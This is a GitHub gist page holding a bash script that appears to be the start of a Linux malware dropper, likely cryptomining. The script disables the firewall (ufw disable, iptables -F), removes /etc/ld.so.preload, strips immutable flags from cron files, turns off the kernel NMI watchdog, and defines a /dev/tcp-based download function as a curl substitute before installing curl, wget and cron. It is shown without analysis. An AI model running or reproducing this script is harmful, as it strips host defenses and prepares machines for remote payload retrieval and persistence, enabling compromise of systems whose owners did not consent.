-
-
Save superducktoes/0d9a4b08db1cfbe6cdd308a19a0c354a to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
ulimit -n 65535 | |
chattr -i /etc/ld.so.preload | |
rm -f /etc/ld.so.preload | |
chattr -R -i /var/spool/cron | |
chattr -i /etc/crontab | |
ufw disable | |
iptables -F | |
echo '0' >/proc/sys/kernel/nmi_watchdog | |
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf | |
ROOTUID="0" | |
function __curl() { | |
read proto server path <<<$(echo ${1//// }) | |
DOC=/${path// //} | |
HOST=${server//:*} | |
PORT=${server//*:} | |
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80 | |
exec 3<>/dev/tcp/${HOST}/$PORT | |
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3 | |
(while read line; do | |
[[ "$line" == $'\r' ]] && break | |
done && cat) <&3 | |
exec 3>&- | |
} | |
if [ -s /usr/bin/curl ]; then | |
echo "found curl" | |
elif [ -s /usr/bin/wget ]; then | |
echo "found wget" | |
else | |
echo "found none" | |
if [ "$(id -u)" -ne "$ROOTUID" ] ; then | |
echo "not root" | |
else | |
apt-get update | |
apt-get install -y curl | |
apt-get install -y wget | |
apt-get install -y cron | |
fi | |
fi | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment